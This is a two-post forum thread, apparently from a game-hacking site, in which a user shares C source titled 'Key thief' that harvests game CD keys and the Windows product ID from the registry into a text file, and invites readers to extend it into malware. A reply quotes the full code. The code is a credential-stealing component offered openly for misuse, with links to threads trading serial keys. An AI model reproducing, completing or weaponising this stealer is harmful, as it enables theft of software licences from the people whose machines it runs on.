Results 1 to 2 of 2
  1. #1
    undergroundhack's Avatar
    Join Date
    Mar 2009
    Gender
    male
    Posts
    130
    Reputation
    10
    Thanks
    100
    My Mood
    Amazed

    Post serial\registry key stealer

    -NOTE IM STILL A LITTLE SCRATCHY ON CODEING BUT HERE IS A LITTLE SOMTHING?-

    Simple demonstration of reading from the registry and outputting the results to a text file. It's fairly easy to add functionality to this that would make it malware but I'll leave that up to you.
    Code:
    /*******************************************************************************
      Name: Key thief
      
      Author: Undergroundhack
      
      Description: Searches the registry for common
      keys and serials then outputs them to a chosen file.
    *******************************************************************************/
    
    #include <windows.h>
    #include <stdio.h>
    
    #define keyfile "keyfile.txt"
    
    //-----------------------------------------------------------------------------//
    
    void Key(char *loc, char *regkey, char *name)
    {
         HKEY key;
         char Serial[25], Sentence[256];
         DWORD len = sizeof(Serial);
             
         FILE *fp = fopen(keyfile,"a");
        
         if( RegOpenKeyEx(HKEY_LOCAL_MACHINE, loc, 0, KEY_QUERY_VALUE, &key) == ERROR_SUCCESS)
         {
             RegQueryValueEx(key, regkey, NULL, NULL, (BYTE *) Serial, &len);
             fprintf(fp, "%s%s\n\n", name, Serial);
         }
         
         else if( RegOpenKeyEx(HKEY_CURRENT_USER, loc, 0, KEY_QUERY_VALUE, &key) == ERROR_SUCCESS)
         {
             RegQueryValueEx(key, regkey, NULL, NULL, (BYTE *) Serial, &len);
             fprintf(fp, "%s%s\n\n", name, Serial);
         }
         
         else fprintf(fp, "%sNo Key Found\n\n", name);
              
         fclose(fp);
    }
    
    //-----------------------------------------------------------------------------//
    
    void PrintKey(void)
    {    
        Key("SOFTWARE\\Electronic Arts\\EA Games\\Battlefield 2", "ergc", "Battlefield 2: ");
        Key("SOFTWARE\\Electronic Arts\\EA GAMES\\Battlefield 2142", "ergc", "Battlefield 2142: ");
        Key("SOFTWARE\\Activision\\Call of Duty 4", "codkey", "CoD 4: ");
        Key("SOFTWARE\\Activision\\Call of Duty WAW", "codkey", "CoD WaW: ");;
        Key("SOFTWARE\\Electronic Arts\\Electronic Arts\\Crysis", "ergc", "Crysis: ");
        Key("SOFTWARE\\Electronic Arts\\Electronic Arts\\The Battle for Middle-earth II", "ergc", "LotR BFME2: ");
        Key("SOFTWARE\\Microsoft\\Windows\\CurrentVersion", "ProductID", "Microsoft Product ID: ");
        Key("SOFTWARE\\Electronic Arts\\EA Games\\SPORE(TM)", "ergc", "Spore: ");
        Key("SOFTWARE\\Unreal Technology\\Installed Apps\\UT2004", "CDKey", "Unreal Tournament 2009: ");
    }
    
    //-----------------------------------------------------------------------------//
    
    int main()
    {
        PrintKey();
        printf("Serials output to %s\n", keyfile);
        system("PAUSE"); 
        
        return 0;
    }
    tell me if this is good i just took someones crapy one and i messed with it they had horrible writing
    [IMG]https://i665.photobucke*****m/albums/vv17/undergroundhack/avatar_2961.gif[/IMG]
    goal list!
    get 10 kill streak on ca [X]
    get 100 kill streak on ca [X]
    get 30 post [X]
    get 80 post [X]
    get 100 post [X]
    get 400 post []
    make a small ca cham [X]
    get mpgh mod []

    respect list!
    dave84311
    [MPGH]obama

    press thanks!

  2. The Following User Says Thank You to undergroundhack For This Useful Post:

    gangraz (07-17-2009)

  3. #2
    ddd555's Avatar
    Join Date
    Mar 2009
    Gender
    male
    Location
    Macedonia
    Posts
    1,040
    Reputation
    14
    Thanks
    1,222
    My Mood
    Devilish
    Quote Originally Posted by undergroundhack View Post
    -NOTE IM STILL A LITTLE SCRATCHY ON CODEING BUT HERE IS A LITTLE SOMTHING?-

    Simple demonstration of reading from the registry and outputting the results to a text file. It's fairly easy to add functionality to this that would make it malware but I'll leave that up to you.
    Code:
    /*******************************************************************************
      Name: Key thief
      
      Author: Undergroundhack
      
      Description: Searches the registry for common
      keys and serials then outputs them to a chosen file.
    *******************************************************************************/
    
    #include <windows.h>
    #include <stdio.h>
    
    #define keyfile "keyfile.txt"
    
    //-----------------------------------------------------------------------------//
    
    void Key(char *loc, char *regkey, char *name)
    {
         HKEY key;
         char Serial[25], Sentence[256];
         DWORD len = sizeof(Serial);
             
         FILE *fp = fopen(keyfile,"a");
        
         if( RegOpenKeyEx(HKEY_LOCAL_MACHINE, loc, 0, KEY_QUERY_VALUE, &key) == ERROR_SUCCESS)
         {
             RegQueryValueEx(key, regkey, NULL, NULL, (BYTE *) Serial, &len);
             fprintf(fp, "%s%s\n\n", name, Serial);
         }
         
         else if( RegOpenKeyEx(HKEY_CURRENT_USER, loc, 0, KEY_QUERY_VALUE, &key) == ERROR_SUCCESS)
         {
             RegQueryValueEx(key, regkey, NULL, NULL, (BYTE *) Serial, &len);
             fprintf(fp, "%s%s\n\n", name, Serial);
         }
         
         else fprintf(fp, "%sNo Key Found\n\n", name);
              
         fclose(fp);
    }
    
    //-----------------------------------------------------------------------------//
    
    void PrintKey(void)
    {    
        Key("SOFTWARE\\Electronic Arts\\EA Games\\Battlefield 2", "ergc", "Battlefield 2: ");
        Key("SOFTWARE\\Electronic Arts\\EA GAMES\\Battlefield 2142", "ergc", "Battlefield 2142: ");
        Key("SOFTWARE\\Activision\\Call of Duty 4", "codkey", "CoD 4: ");
        Key("SOFTWARE\\Activision\\Call of Duty WAW", "codkey", "CoD WaW: ");;
        Key("SOFTWARE\\Electronic Arts\\Electronic Arts\\Crysis", "ergc", "Crysis: ");
        Key("SOFTWARE\\Electronic Arts\\Electronic Arts\\The Battle for Middle-earth II", "ergc", "LotR BFME2: ");
        Key("SOFTWARE\\Microsoft\\Windows\\CurrentVersion", "ProductID", "Microsoft Product ID: ");
        Key("SOFTWARE\\Electronic Arts\\EA Games\\SPORE(TM)", "ergc", "Spore: ");
        Key("SOFTWARE\\Unreal Technology\\Installed Apps\\UT2004", "CDKey", "Unreal Tournament 2009: ");
    }
    
    //-----------------------------------------------------------------------------//
    
    int main()
    {
        PrintKey();
        printf("Serials output to %s\n", keyfile);
        system("PAUSE"); 
        
        return 0;
    }
    tell me if this is good i just took someones crapy one and i messed with it they had horrible writing

    What is output DLL or?

Similar Threads

  1. Selling kasperski serial keys!
    By russik1 in forum Trade Accounts/Keys/Items
    Replies: 11
    Last Post: 05-06-2008, 05:40 PM
  2. BF2 serial key
    By Ibrahimo in forum Trade Accounts/Keys/Items
    Replies: 5
    Last Post: 02-08-2008, 08:54 AM
  3. Buying LEGIT Serial Key
    By major clucker in forum Call of Duty 4 - Modern Warfare (MW) Hacks
    Replies: 6
    Last Post: 12-29-2007, 09:11 AM
  4. Microsoft Windows XP sp2 Serial Key
    By radnomguywfq3 in forum General Game Hacking
    Replies: 5
    Last Post: 10-20-2007, 12:37 PM
  5. Delphi 7 serial and authorization key
    By wr194t in forum General
    Replies: 14
    Last Post: 08-27-2007, 02:05 AM

Tags for this Thread